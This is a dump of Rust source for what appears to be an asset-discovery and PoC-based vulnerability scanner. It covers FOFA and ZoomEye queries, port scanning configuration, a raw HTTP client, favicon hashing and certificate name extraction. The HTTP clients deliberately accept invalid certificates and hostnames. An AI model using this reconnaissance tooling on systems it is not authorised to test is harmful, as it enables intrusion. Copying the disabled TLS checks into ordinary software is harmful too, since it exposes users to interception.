456 | //println!("{}",i); ////////////////////////////
457 | ips.push(i.to_string());
458 | }
459 | }
460 | let pocs_file = if let Some(v) = app_matches.value_of("pocs_file") {
461 | v.to_string()
462 | } else {
463 | toml_conf.default_pocs_json_path
464 | };
465 |
466 | let rst_config = ResultConfig {
467 | pocs_file,
468 | conn_timeout,
469 | conn_retries,
470 | http_timeout: toml_conf.http_timeout,
471 | follow_redirect: toml_conf.follow_redirect,
472 | poc_exclude_files,
473 | disable_poc,
474 | detect_limit: toml_conf.detect_limit,
475 | per_url_limit: toml_conf.per_url_limit,
476 | it_assets:(domains,ips),
477 | print_level: toml_conf.print_level,
478 | output_file_name,
479 | output_encode: toml_conf.output_encode
480 | };
481 |
482 | let mut run_mod = PassiveMod::Query;
483 | if app_matches.is_present("recovery") {
484 | run_mod = PassiveMod::Recovery;
485 | passive = true;
486 | }
487 | if passive || app_matches.is_present("passive") {
488 | //if all.len() == 0 {
489 | // exit(-1);
490 | //};
491 | let fofa_per_page_size = if let Some(v) = app_matches.value_of("fofa_per_page_size") {
492 | if let Ok(n) = v.parse::() {
493 | n
494 | } else {
495 | println!("[!] page size should be a u16 number.");
496 | exit(-1);
497 | }
498 | } else {
499 | toml_conf.fofa_per_page_size
500 | };
501 | return (rst_config,Config::Passive(PassiveConfig{
502 | run_mod,
503 | searchs: all,
504 | exclude_files,
505 | fofa_enable: toml_conf.fofa_enable,
506 | fofa_email: toml_conf.fofa_email,
507 | fofa_key: toml_conf.fofa_key,
508 | fofa_per_page_size,
509 | fofa_timeout: toml_conf.fofa_timeout,
510 | fofa_retry_delay: toml_conf.fofa_retry_delay,
511 | fofa_delay: toml_conf.fofa_delay,
512 | zoomeye_enable: toml_conf.zoomeye_enable,
513 | zoomeye_keys: toml_conf.zoomeye_keys,
514 | zoomeye_timeout: toml_conf.zoomeye_timeout,
515 | zoomeye_delay: toml_conf.zoomeye_delay,
516 | auto_web_filter: toml_conf.auto_web_filter,
517 | passive_retries: toml_conf.passive_retries,
518 | }));
519 | } else if active || app_matches.is_present("active") {
520 | let port_parser = PortsParser::new();
521 | let ports_str = if let Some(v) = app_matches.value_of("ports") {
522 | v
523 | } else {
524 | &toml_conf.default_scanports
525 | };
526 | let scan_ports = port_parser.parse_ports_string(ports_str).unwrap_or_else(|e|{
527 | println!("[!] Config \"scanports\" not correct: {}",e);
528 | exit(-1);
529 | });
530 | if all.len() == 0 {
531 | exit(-1);
532 | }
533 | return (rst_config,Config::Active(ActiveConfig{
534 | targets: all,
535 | exclude_files,
536 | async_scan_limit,
537 | scan_ports,
538 | conn_timeout,
539 | conn_retries
540 | }));
541 | } else if app_matches.is_present("urls") {
542 | return (rst_config,Config::Urls(UrlsConfig {
543 | urls: all,
544 | exclude_files
545 | }));
546 | } else {
547 | println!("--passive | --active | --urls | --recovery choose mod.");
548 | exit(-1);
549 | }
550 | }
551 |
552 | fn read_file_to_list(file_name:&str) -> Result,std::io::ErrorKind> {
553 | match fs::read_to_string(file_name) {
554 | Ok(content) => {
555 | let mut rst = Vec::new();
556 | let lines = content.split("\n").map(|s|{s.trim()}).collect::>();
557 | for l in lines {
558 | if l != "" {
559 | rst.push(l.to_string());
560 | }
561 | }
562 | return Ok(rst);
563 | },
564 | Err(e)=> {
565 | return Err(e.kind());
566 | }
567 | }
568 | }
569 |
570 | pub fn read_excludes(exclude_files:Vec) -> Vec {
571 | let mut rst = Vec::new();
572 | for ef in exclude_files.iter() {
573 | match fs::read_to_string(ef) {
574 | Ok(content) => {
575 | let lines = content.split("\n").map(|s|{s.trim()}).collect::>();
576 | for line in lines {
577 | if line != "" {
578 | rst.push(line.to_string());
579 | }
580 | }
581 | },
582 | Err(e) => {
583 | println!("[!] Read exlcude file {} error: {:?}",ef,e.kind());
584 | }
585 | }
586 | };
587 | return rst;
588 | }
589 |
590 | #[cfg(test)]
591 | mod tests {
592 | use super::*;
593 | use std::{time::Duration, sync::Arc};
594 | use async_std::prelude::StreamExt;
595 | use regex::{Regex, internal::Input};
596 | use super::http_banner::*;
597 | //#[test]
598 | fn fofa_zoomeye() {
599 | /*
600 | let test1 = Regex::new("(?:&&)|(?:\\|\\|)").unwrap();
601 | println!("&& {}",test1.is_match("&&"));
602 | println!("|| {}",test1.is_match("||"));
603 | let test2 = Regex::new("^.*?(?: (?:&&)|(?:\\|\\|) )?.*$").unwrap();
604 | println!("' && ' {}",test2.is_match(" && "));
605 | println!("' || ' {}",test2.is_match(" || "));
606 | println!("m {}",test2.is_match("m"));
607 | */
608 | println!("fofa regex test...");
609 | let fofa_regex = Regex::new("^.*?(?: (?:&&)|(?:\\|\\|) )?\\(?[a-zA-Z](?:==)|(?:!?=)\"?.*$").unwrap();
610 | let s1 = "xxx country=\"CN\" region=\"HK\"";
611 | let s2 = "title=xxx || xxx";
612 | let s3 = "\"xxx\" title=\"xxx\"";
613 | let s4 = "xxx || (domain=xxx && title=\"xxx\")";
614 | println!("{} {}",s1,fofa_regex.is_match(s1));
615 | println!("{} {}",s2,fofa_regex.is_match(s2));
616 | println!("{} {}",s3,fofa_regex.is_match(s3));
617 | println!("{} {}",s4,fofa_regex.is_match(s4));
618 |
619 | println!("\nzoomeye regex test...");
620 | let zoomeye_regex = Regex::new("^\\*|(?:.*[+-]?\\(?[a-zA-Z]+:\"?).*$").unwrap();
621 | let s5 = "xxx domain:\"CN\"";
622 | let s6 = "title:xxx -title:xxx";
623 | let s7 = "\"xxx\"+title:\"xxx\"";
624 | let s8 = "*xxx";
625 | let s9 = "domain:xxx-(title:xxx+title:\"xxx\")";
626 |
627 | println!("{} {}",s5,zoomeye_regex.is_match(s5));
628 | println!("{} {}",s6,zoomeye_regex.is_match(s6));
629 | println!("{} {}",s7,zoomeye_regex.is_match(s7));
630 | println!("{} {}",s8,zoomeye_regex.is_match(s8));
631 | println!("{} {}",s9,zoomeye_regex.is_match(s9));
632 |
633 | println!("\nfofa regex test zoomeye...");
634 | println!("{} {}",s5,fofa_regex.is_match(s5));
635 | println!("{} {}",s6,fofa_regex.is_match(s6));
636 | println!("{} {}",s7,fofa_regex.is_match(s7));
637 | println!("{} {}",s8,fofa_regex.is_match(s8));
638 | println!("{} {}",s9,fofa_regex.is_match(s9));
639 |
640 | println!("\nzoomeye regex test fofa");
641 | println!("{} {}",s1,zoomeye_regex.is_match(s1));
642 | println!("{} {}",s2,zoomeye_regex.is_match(s2));
643 | println!("{} {}",s3,zoomeye_regex.is_match(s3));
644 | println!("{} {}",s4,zoomeye_regex.is_match(s4));
645 |
646 | println!("\nspace test");
647 | let s10 = "xxx xxx xxx";
648 | println!("fofa {} {}",s10,fofa_regex.is_match(s10));
649 | println!("zoomeye {} {}",s10,zoomeye_regex.is_match(s10));
650 | }
651 |
652 | use reqwest;
653 | //#[tokio::test]
654 | async fn test3() {
655 | let x = reqwest::get("https://www.baidu.com/asdf").await.unwrap().text().await.unwrap();
656 | println!("{}",x);
657 | }
658 |
659 | #[test]
660 | fn test5() {
661 | let url = "https://127.0.0.1/.././view.html?path=./test.txt";
662 | let httpu = HttpUrl::new(url.to_string()).unwrap();
663 | println!("{:?}",httpu);
664 | println!("{}",httpu.scheme());
665 | println!("{}",httpu.host());
666 | println!("{}",httpu.port());
667 | println!("{}",httpu.url_with_path());
668 | println!("{}",httpu.path());
669 | println!("{}",httpu.path_args());
670 | }
671 | }
--------------------------------------------------------------------------------
/src/http_banner/mod.rs:
--------------------------------------------------------------------------------
1 | use std::collections::HashMap;
2 | use std::error::Error;
3 | use tokio::time::Duration;
4 | use tokio::time::timeout;
5 | use tokio_native_tls::native_tls::{TlsConnector,Certificate};
6 | use tokio::net::TcpStream;
7 | use tokio::io::BufReader;
8 | use tokio::io::{AsyncBufReadExt};
9 | use tokio::io::{AsyncReadExt, AsyncWriteExt};
10 | use http_types::{ensure, format_err};
11 | use async_chunked_transfer::Decoder;
12 | use murmur3::murmur3_32;
13 | use x509_parser::prelude::*;
14 | use std::io::Cursor;
15 |
16 | pub static USER_AGENT:&'static str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36";
17 |
18 | /// The maximum amount of headers parsed on the server.
19 | const MAX_HEADERS: usize = 128;
20 |
21 | /// The maximum length of the head section we'll try to parse.
22 | /// See: https://nodejs.org/en/blog/vulnerability/november-2018-security-releases/#denial-of-service-with-large-http-headers-cve-2018-12121
23 | const MAX_HEAD_LENGTH: usize = 6 * 1024;
24 |
25 | const CR: u8 = b'\r';
26 | const LF: u8 = b'\n';
27 | const ZERO: u8 = b'0';
28 |
29 | pub enum HTTPMethod {
30 | GET,
31 | POST,
32 | HEAD,
33 | OPTIONS,
34 | PUT,
35 | DELETE,
36 | TRACE,
37 | PATCH
38 | }
39 |
40 | impl HTTPMethod {
41 | pub fn as_str(&self) -> &'static str {
42 | match &self {
43 | HTTPMethod::GET => {"GET"},
44 | HTTPMethod::POST => {"POST"},
45 | HTTPMethod::HEAD => {"HEAD"},
46 | HTTPMethod::OPTIONS => {"OPTIONS"},
47 | HTTPMethod::PUT => {"PUT"},
48 | HTTPMethod::DELETE => {"DELETE"},
49 | HTTPMethod::TRACE => {"TRACE"},
50 | HTTPMethod::PATCH => {"PATCH"},
51 | }
52 | }
53 | }
54 |
55 | #[derive(Debug,Clone)]
56 | pub struct HttpClient {
57 | conn_timeout:Duration,
58 | read_timeout:Duration,
59 | http_timeout:Duration,
60 | }
61 |
62 | impl HttpClient {
63 | pub fn default()-> Self {
64 | HttpClient {
65 | conn_timeout: Duration::from_secs(3),
66 | read_timeout: Duration::from_secs(1),
67 | http_timeout: Duration::from_secs(15)
68 | }
69 | }
70 | pub fn set_conn_timeout(&mut self,timeout:Duration) {
71 | self.conn_timeout = timeout;
72 | }
73 | pub fn set_read_timeout(&mut self,timeout:Duration) {
74 | self.read_timeout = timeout;
75 | }
76 | pub fn set_http_timeout(&mut self,timeout: Duration) {
77 | self.http_timeout = timeout;
78 | }
79 | pub fn get(&self,url:String) -> Result {
80 | match HttpUrl::new(url) {
81 | Ok(url) => {
82 | let mut headers = HashMap::new();
83 | headers.insert("User-Agent", USER_AGENT);
84 | headers.insert("Connection", "Close");
85 | Ok(RawRequest{
86 | method:"GET",
87 | url,
88 | headers,
89 | user_set_headers_host:false,
90 | body:None,
91 | cli:&self
92 | })
93 | },
94 | Err(e) => {
95 | Err(e)
96 | }
97 | }
98 | }
99 | pub fn request<'a>(&'a self,methord:HTTPMethod,url:String,body:Option<&'a str>) -> Result,&'static str> {
100 | match HttpUrl::new(url) {
101 | Ok(url) => {
102 | let mut headers = HashMap::new();
103 | headers.insert("User-Agent", USER_AGENT);
104 | headers.insert("Connection", "Close");
105 | Ok(RawRequest{
106 | method:methord.as_str(),
107 | url,
108 | headers,
109 | user_set_headers_host:false,
110 | body,
111 | cli:&self
112 | })
113 | },
114 | Err(e) => {
115 | Err(e)
116 | }
117 | }
118 | }
119 |
120 | }
121 |
122 | pub struct RawRequest<'a> {
123 | method:&'static str,
124 | pub url:HttpUrl,
125 | headers:HashMap<&'a str,&'a str>,
126 | user_set_headers_host:bool,
127 | body:Option<&'a str>,
128 | cli:&'a HttpClient,
129 | }
130 |
131 | impl<'a> RawRequest<'a> {
132 | pub fn set_headers(&mut self,headers: Vec<(&'a str, &'a str)>)->&mut Self {
133 | for (k,v) in headers {
134 | let key = k.to_lowercase();
135 | if key == "host" {
136 | self.user_set_headers_host = true;
137 | }
138 | if key == "user-agent" {
139 | self.headers.remove("User-Agent");
140 | self.headers.insert(k, v);
141 | continue;
142 | }
143 | if key == "connection" {
144 | self.headers.remove("Connection");
145 | self.headers.insert(k, v);
146 | continue;
147 | }
148 | if key == "content-length" {
149 | self.headers.remove("Content-Length");
150 | self.headers.insert(k, v);
151 | continue;
152 | }
153 | self.headers.insert(k, v);
154 | }
155 | self
156 | }
157 |
158 | pub async fn send(&self)->Result> {
159 | let addr = format!("{}:{}", self.url.host(), self.url.port());
160 | let stream = timeout(self.cli.conn_timeout, TcpStream::connect(&addr)).await??;
161 | let raw_req = self.fmt_req();
162 | if self.url.is_https {
163 | let mut native_tls_connector = TlsConnector::builder();
164 | native_tls_connector.danger_accept_invalid_certs(true).danger_accept_invalid_hostnames(true);
165 | let tls_connector = tokio_native_tls::TlsConnector::from(native_tls_connector.build()?);
166 | let mut stream = timeout(self.cli.conn_timeout, tls_connector.connect(self.url.host(), stream)).await??;
167 | let mut cert = None;
168 | let tls_stream_allow = stream.get_mut();
169 | if let Ok(cert_) = tls_stream_allow.peer_certificate() {
170 | cert = cert_;
171 | };
172 | let rst = timeout(self.cli.http_timeout, self.write_and_read(stream, raw_req.as_bytes())).await?;
173 | let rst = rst?;
174 | Ok(RawResponse{
175 | status_code:rst.0,
176 | location:rst.1,
177 | raw_header:rst.2,
178 | raw_body:rst.3,
179 | cert
180 | })
181 | } else {
182 | let rst = timeout(self.cli.http_timeout, self.write_and_read(stream, raw_req.as_bytes())).await?;
183 | let rst = rst?;
184 | Ok(RawResponse{
185 | status_code:rst.0,
186 | location:rst.1,
187 | raw_header:rst.2,
188 | raw_body:rst.3,
189 | cert:None
190 | })
191 | }
192 | }
193 |
194 | pub async fn send_req(&self,raw_req:String)->Result> {
195 | let addr = format!("{}:{}", self.url.host(), self.url.port());
196 | let stream = timeout(self.cli.conn_timeout, TcpStream::connect(&addr)).await??;
197 | if self.url.is_https {
198 | let mut native_tls_connector = TlsConnector::builder();
199 | native_tls_connector.danger_accept_invalid_certs(true).danger_accept_invalid_hostnames(true);
200 | let tls_connector = tokio_native_tls::TlsConnector::from(native_tls_connector.build()?);
201 | let mut stream = timeout(self.cli.conn_timeout, tls_connector.connect(self.url.host(), stream)).await??;
202 | let mut cert = None;
203 | let tls_stream_allow = stream.get_mut();
204 | if let Ok(cert_) = tls_stream_allow.peer_certificate() {
205 | cert = cert_;
206 | };
207 | let rst = timeout(self.cli.http_timeout, self.write_and_read(stream, raw_req.as_bytes())).await?;
208 | let rst = rst?;
209 | Ok(RawResponse{
210 | status_code:rst.0,
211 | location:rst.1,
212 | raw_header:rst.2,
213 | raw_body:rst.3,
214 | cert
215 | })
216 | } else {
217 | let rst = timeout(self.cli.http_timeout, self.write_and_read(stream, raw_req.as_bytes())).await?;
218 | let rst = rst?;
219 | Ok(RawResponse{
220 | status_code:rst.0,
221 | location:rst.1,
222 | raw_header:rst.2,
223 | raw_body:rst.3,
224 | cert:None
225 | })
226 | }
227 | }
228 |
229 | async fn write_and_read(&self,mut stream: RW, raw_request: &[u8]) -> http_types::Result<(u16,Option,Vec,Vec)>
230 | where
231 | RW: AsyncReadExt + AsyncWriteExt + Send + Sync + Unpin + 'static,
232 | {
233 | let _ = stream.write_all(raw_request).await;
234 | let mut reader = BufReader::new(stream);
235 | let mut raw_header = Vec::new();
236 | let mut headers = [httparse::EMPTY_HEADER; MAX_HEADERS];
237 | let mut httparse_res = httparse::Response::new(&mut headers);
238 | // Keep reading bytes from the stream until we hit the end of the stream.
239 | loop {
240 | let bytes_read = timeout(self.cli.read_timeout, reader.read_until (LF, &mut raw_header)).await;
241 | if bytes_read.is_err() {
242 | return Err(format_err!("read http header timeout"));
243 | }
244 | let bytes_read = bytes_read.unwrap();
245 | if bytes_read.is_err() {
246 | return Err(format_err!("read http header error"));
247 | }
248 | let bytes_read = bytes_read.unwrap();
249 | // No more bytes are yielded from the stream.
250 | match (bytes_read, raw_header.len()) {
251 | (0, 0) => return Err(format_err!("connection closed")),
252 | (0, _) => return Err(format_err!("empty response")),
253 | _ => {}
254 | }
255 | // Prevent CWE-400 DDOS with large HTTP Headers.
256 | ensure!(
257 | raw_header.len() < MAX_HEAD_LENGTH,
258 | "Head byte length should be less than 8kb"
259 | );
260 | // We've hit the end delimiter of the stream.
261 | let idx = raw_header.len() - 1;
262 | if idx >= 3 && raw_header[idx - 3..=idx] == [CR, LF, CR, LF] {
263 | break;
264 | }
265 | //if idx >= 1 && raw_header[idx - 1..=idx] == [LF, LF] {
266 | // break;
267 | //}
268 | }
269 |
270 | // Convert our header buf into an httparse instance, and validate.
271 | let status = httparse_res.parse(&raw_header)?;
272 | ensure!(!status.is_partial(), "Malformed HTTP head");
273 | let code = httparse_res.code;
274 | let code = code.ok_or_else(|| format_err!("No status code found"))?;
275 |
276 | let mut location = None;
277 | let mut content_length = None;
278 | let mut chunked_encoding = false;
279 |
280 | let mut headers_map = Vec::new();
281 | for header in httparse_res.headers.iter() {
282 | let name = header.name.to_lowercase();
283 | let v = std::str::from_utf8(header.value)?;
284 | if name == "content-length" {
285 | content_length = Some(v);
286 | }
287 | headers_map.push((name,v));
288 | }
289 |
290 | for header in headers_map.iter() {
291 | if header.0 == "location" {
292 | location = Some(header.1.to_string());
293 | break;
294 | }
295 | }
296 |
297 | if content_length.is_none() {
298 | for header in headers_map.iter() {
299 | if header.0 == "transfer-encoding" {
300 | if header.1 == "chunked" {
301 | chunked_encoding = true;
302 | break;
303 | }
304 | }
305 | }
306 | }
307 |
308 | //let content_length = httparse_res.headers. .header(CONTENT_LENGTH);
309 | // Check for Content-Length.
310 | let body = if let Some(len) = content_length {
311 | let len = len.parse::()?;
312 | let mut body = Vec::with_capacity(len);
313 | let mut total = 0;
314 | loop {
315 | let mut buf = [0;1024];
316 | let bytes_read = timeout(self.cli.read_timeout, reader.read(&mut buf)).await;
317 | if bytes_read.is_err() {
318 | break;
319 | }
320 | let bytes_read = bytes_read.unwrap();
321 | if bytes_read.is_err() {
322 | break;
323 | }
324 | let bytes_read = bytes_read.unwrap();
325 | //let bytes_read = reader.read_until(LF, &mut body).await?;
326 | match (bytes_read, body.len()) {
327 | (0, 0) => break,
328 | (0, _) => break,
329 | _ => {
330 | for i in 0..bytes_read {
331 | body.push(buf[i]);
332 | }
333 | total += bytes_read;
334 | if total >= len {
335 | break;
336 | }
337 | }
338 | }
339 | }
340 | body
341 | } else {
342 | if chunked_encoding {
343 | let mut chunked_body = vec![];
344 | loop {
345 | let bytes_read = timeout(self.cli.read_timeout, reader. read_until(LF, &mut chunked_body)).await;
346 | if bytes_read.is_err() {
347 | break;
348 | }
349 | let bytes_read = bytes_read.unwrap();
350 | if bytes_read.is_err() {
351 | break;
352 | }
353 | let bytes_read = bytes_read.unwrap();
354 | // No more bytes are yielded from the stream.
355 | match (bytes_read, chunked_body.len()) {
356 | (0, 0) => break,
357 | (0, _) => break,
358 | _ => {}
359 | }
360 | // We've hit the end delimiter of the stream.
361 | let idx = chunked_body.len() - 1;
362 | if idx >= 6 && chunked_body[idx - 6..=idx] == [CR, LF, ZERO, CR, LF, CR, LF] {
363 | break;
364 | }
365 | }
366 | let mut decoder = Decoder::new(chunked_body.as_slice());
367 | let mut output = vec![];
368 | if decoder.read_to_end(&mut output).await.is_ok() {
369 | output
370 | } else {
371 | vec![]
372 | }
373 | } else {
374 | vec![]
375 | }
376 | };
377 | Ok((code,location,raw_header,body))
378 | }
379 |
380 | pub fn fmt_req(&self) -> String {
381 | let mut headers = self.headers.clone();
382 | let mut host_port = None;
383 | if !self.user_set_headers_host {
384 | if !(self.url.port() == 80 || self.url.port() == 443) {
385 | host_port = Some(format!("{}:{}",self.url.host(),self.url.port()));
386 | }
387 | if host_port.is_some() {
388 | headers.insert("Host", host_port.as_ref().unwrap().as_str());
389 | } else {
390 | headers.insert("Host", self.url.host());
391 | }
392 | }
393 | let mut request_len = self.method.len() + self.url.path_args().len() + 14; //"GET /path_args?id=x HTTP/1.1\r\n\r\n"
394 | let body_len_str:String;
395 | if self.body.is_some() {
396 | let body_len = self.body.unwrap().len();
397 | request_len += body_len;
398 | body_len_str = body_len.to_string();
399 | headers.insert("Content-Length", body_len_str.as_str());
400 | }
401 | for h in headers.iter() {
402 | request_len += h.0.len() + 2 + h.1.len() + 2;
403 | }
404 | let mut rst = String::with_capacity(request_len);
405 | rst += self.method;
406 | rst += " ";
407 | rst += self.url.path_args();
408 | rst += " HTTP/1.1\r\n";
409 | for h in headers.iter() {
410 | rst += h.0;
411 | rst += ": ";
412 | rst += h.1;
413 | rst += "\r\n";
414 | }
415 | rst += "\r\n";
416 | if self.body.is_some() {
417 | rst += self.body.unwrap();
418 | }
419 | //log::info!("{}",rst);
420 | //println!("req calc len {},req rst size {}, req alloc cap {},req {}",request_len,rst.len(),rst.capacity(),rst); //////////////////
421 | return rst;
422 | }
423 | }
424 |
425 | pub struct RawResponse {
426 | pub status_code:u16,
427 | pub location:Option,
428 | pub raw_header:Vec,
429 | pub raw_body:Vec,
430 | pub cert:Option
431 | }
432 |
433 | pub async fn http_favicon_hash(url:String,http_timeout:Duration) -> Option {
434 | let mut cli = HttpClient::default();
435 | cli.set_http_timeout(http_timeout);
436 | let mut favicon_hash = None;
437 | //if let Ok(rsp) = http_cli(url.protocol(), host,port, req, self.http_conn_timeout, self.http_timeout).await {
438 | let req = cli.get(url).unwrap();
439 | if let Ok(rsp) = req.send().await {
440 | if rsp.status_code == 200 {
441 | let mut base64_buf = String::new();
442 | base64::encode_config_buf(rsp.raw_body, base64::STANDARD, &mut base64_buf);
443 | let base64_buf = base64_buf.as_bytes();
444 | //给base64按照标准加上'\n' 标准参考python的base64.encodebytes()
445 | let mut base64_buf_pad_n = vec![];
446 | for i in 0..base64_buf.len() {
447 | if i !=0 && i % 76 == 0{
448 | base64_buf_pad_n.push(b'\n');
449 | }
450 | base64_buf_pad_n.push(base64_buf[i]);
451 | }
452 | if Some(&b'\n') != base64_buf_pad_n.last() { //最后一个元素加上\n
453 | base64_buf_pad_n.push(b'\n');
454 | }
455 | //println!("base64 favicon bytes len: {}",base64_buf_pad_n.len());
456 | let mut cur = Cursor::new(&base64_buf_pad_n);
457 | favicon_hash = Some(murmur3_32(&mut cur, 0).unwrap() as i32);
458 | }
459 | };
460 | return favicon_hash;
461 | }
462 |
463 | pub fn find_slice(source:&[u8],start:usize,find:&[u8])-> Option {
464 | let source_len = source.len();
465 | let find_len = find.len();
466 | for i in start..source_len {
467 | if i+find_len <= source_len {
468 | if &source[i..i+find_len] == find {
469 | return Some(i);
470 | }
471 | }
472 | }
473 | return None;
474 | }
475 |
476 | pub fn find_u8(source:&[u8],start:usize,find:u8)->Option {
477 | for i in start..source.len() {
478 | if source[i] == find {
479 | return Some(i);
480 | }
481 | }
482 | return None;
483 | }
484 |
485 | #[derive(Debug)]
486 | pub struct HttpUrl {
487 | url: String,
488 | is_https: bool,
489 | scheme_end: usize,
490 | host_start:usize,
491 | host_end: usize,
492 | path_start:usize,
493 | path_end:usize,
494 | port:u16,
495 | }
496 |
497 | impl HttpUrl {
498 | pub fn new(mut url:String) -> Result {
499 | let mut scheme_end = 0;
500 | let mut host_start = 0;
501 | let mut host_end = 0;
502 | let mut path_start = 0;
503 | let mut path_end = 0;
504 | let mut port = 0;
505 | let url_bytes = url.as_bytes();
506 | let mut is_https = false;
507 | if let Some(scheme_i) = find_slice(url_bytes, 0, b"://") {
508 | scheme_end = scheme_i;
509 | if &url[..scheme_end] == "http" || &url[..scheme_end] == "https" {
510 | if scheme_end == 5 {
511 | is_https = true;
512 | }
513 | host_start = scheme_end+3;
514 | if let Some(port_i) = find_u8(url_bytes, host_start, b':') {
515 | //http://xxx:80
516 | host_end = port_i;
517 | if let Some(path_i) = find_u8(url_bytes, port_i, b'/') {
518 | //http://xxx:80/xxx
519 | path_start = path_i;
520 | if let Ok(port_str) = std::str::from_utf8(&url_bytes[host_end+1..path_i]) {
521 | if let Ok(p) = port_str.parse::() {
522 | port = p;
523 | }
524 | }
525 | //path_end
526 | let mut end = if let Some(args_i) = find_u8(url_bytes, path_start, b'?') {
527 | args_i
528 | } else {
529 | url_bytes.len() - 1
530 | };
531 | while path_start <= end {
532 | if url_bytes[end] == b'/' {
533 | path_end = end+1;
534 | break;
535 | }
536 | end -= 1;
537 | }
538 | } else {
539 | //http://xxx:80
540 | path_start = url.len();
541 | path_end = path_start + 1;
542 | if let Ok(port_str) = std::str::from_utf8(&url_bytes[host_end+1..]) {
543 | if let Ok(p) = port_str.parse::() {
544 | port = p;
545 | url.push_str("/");
546 | }
547 | }
548 | }
549 | } else {
550 | //http://xxx
551 | if let Some(path_i) = find_u8(url_bytes, host_start, b'/') {
552 | //http://xxx/xxx
553 | host_end = path_i;
554 | path_start = path_i;
555 | let scheme_str = &url[..scheme_end];
556 | if scheme_str == "http" {
557 | port = 80;
558 | } else {
559 | port = 443;
560 | }
561 | //path_end
562 | let mut end = if let Some(args_i) = find_u8(url_bytes, path_start, b'?') {
563 | args_i
564 | } else {
565 | url_bytes.len() - 1
566 | };
567 | while path_start <= end {
568 | if url_bytes[end] == b'/' {
569 | path_end = end+1;
570 | break;
571 | }
572 | end -= 1;
573 | }
574 | } else {
575 | //http://xxx
576 | host_end = url.len();
577 | path_start = host_end;
578 | path_end = path_start + 1;
579 | let scheme_str = &url[..scheme_end];
580 | if scheme_str == "http" {
581 | port = 80;
582 | } else {
583 | port = 443;
584 | }
585 | url.push_str("/");
586 | }
587 | }
588 | } else {
589 | return Err("not http url");
590 | }
591 |
592 | }
593 | if scheme_end > 0 && port > 0 && path_start >= host_end && host_end > host_start {
594 | return Ok(
595 | HttpUrl {
596 | url,
597 | scheme_end,
598 | host_start,
599 | host_end,
600 | path_start,
601 | path_end,
602 | port,
603 | is_https
604 | }
605 | );
606 | } else {
607 | return Err("url format error");
608 | }
609 | }
610 |
611 | pub fn scheme(&self) ->&str {
612 | &self.url[..self.scheme_end]
613 | }
614 |
615 | pub fn host(&self) ->&str {
616 | &self.url[self.host_start..self.host_end]
617 | }
618 | // http://127.0.0.1/a/b/
619 | pub fn url_with_path(&self) -> &str {
620 | &self.url[..self.path_end]
621 | }
622 | // /a/b/
623 | pub fn path(&self) -> &str {
624 | &self.url[self.path_start..self.path_end]
625 | }
626 |
627 | // /a/b/test.php?a=1
628 | pub fn path_args(&self) -> &str {
629 | &self.url[self.path_start..]
630 | }
631 |
632 | pub fn port(&self) -> u16 {
633 | self.port
634 | }
635 |
636 | pub fn as_str(&self) -> &str {
637 | &self.url
638 | }
639 | }
640 |
641 | pub fn cert_parser(cert:Certificate) -> Result,Box> {
642 | let cert_der = cert.to_der()?;
643 | let cert = x509_parser::parse_x509_certificate(&cert_der)?;
644 | let sub = cert.1.tbs_certificate.subject_alternative_name();
645 | match sub {
646 | Some(s) => {
647 | let subs = s.1;
648 | let mut subnames = Vec::new();
649 | for s in subs.general_names.iter() {
650 | match s {
651 | GeneralName::DNSName(name) => {
652 | subnames.push(name.to_string());
653 | },
654 | _ => {}
655 | }
656 | }
657 | Ok(subnames)
658 | },
659 | None => { Ok(vec![]) }
660 | }
661 | }
--------------------------------------------------------------------------------
/src/passive/mod.rs:
--------------------------------------------------------------------------------
1 | use std::error::Error;
2 | use std::time::Duration;
3 | use std::sync::Arc;
4 | use std::sync::mpsc::{SyncSender};
5 |
6 | use reqwest::blocking::{Client,ClientBuilder,RequestBuilder};
7 | use regex::Regex;
8 | use serde_json::Value;
9 | use serde::Deserialize;
10 |
11 | use super::result_struct::*;
12 | use super::Message;
13 | use super::http_banner::USER_AGENT;
14 |
15 | #[derive(Deserialize)]
16 | pub struct FofaResult {
17 | pub error: bool,
18 | pub mode: String,
19 | pub page: u64,
20 | pub query: String,
21 | pub results: Vec>,
22 | pub size: u64
23 | }
24 |
25 | #[derive(Deserialize)]
26 | pub struct FofaTopQueryError {
27 | pub error: bool,
28 | pub errmsg: String
29 | }
30 |
31 | #[derive(Deserialize)]
32 | pub struct FofaQueryResult {
33 |
34 | }
35 |
36 | pub struct QueryMatcher {
37 | domain_regex:Regex,
38 | ip_regex:Regex,
39 | cidr_regex:Regex,
40 | fofa_regex:Regex,
41 | zoomeye_regex:Regex
42 | }
43 |
44 | impl QueryMatcher {
45 | pub fn new() ->QueryMatcher {
46 | QueryMatcher {
47 | domain_regex: Regex::new("^(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,62}\\.)+[a-zA-Z]+$").unwrap(),
48 | ip_regex: Regex::new("^((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))$").unwrap(),
49 | cidr_regex: Regex::new("^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/[0-9]+$").unwrap(),
50 | fofa_regex: Regex::new("^.*?(?: (?:&&)|(?:\\|\\|) )?\\(?[a-zA-Z](?:==)|(?:!?=)\"?.*$").unwrap(),
51 | zoomeye_regex: Regex::new("^\\*|(?:.*[+-]?\\(?[a-zA-Z]+:\"?).*$").unwrap()
52 | }
53 | }
54 |
55 | pub fn is_domain(&self,s:&str)->bool {
56 | self.domain_regex.is_match(s)
57 | }
58 |
59 | pub fn is_ip(&self,s:&str)->bool {
60 | self.ip_regex.is_match(s)
61 | }
62 |
63 | pub fn is_cidr(&self,s:&str)->bool {
64 | self.cidr_regex.is_match(s)
65 | }
66 |
67 | pub fn is_fofa(&self,s:&str)->bool {
68 | self.fofa_regex.is_match(s)
69 | }
70 |
71 | pub fn is_zoomeye(&self,s:&str)->bool {
72 | self.zoomeye_regex.is_match(s)
73 | }
74 | }
75 |
76 | pub fn unverify_client(timeout:Duration)-> Client {
77 | let cli = ClientBuilder::new();
78 | let cli1 = cli.timeout(timeout);
79 | let cli1 = cli1.danger_accept_invalid_certs(true);
80 | let cli2 = cli1.danger_accept_invalid_hostnames(true);
81 | let cli3 = cli2.build().unwrap();
82 | cli3
83 | }
84 |
85 | pub fn http_req(req:RequestBuilder)-> Result> {
86 | let content = req.send()?.text()?;
87 | Ok(content)
88 | }
89 |
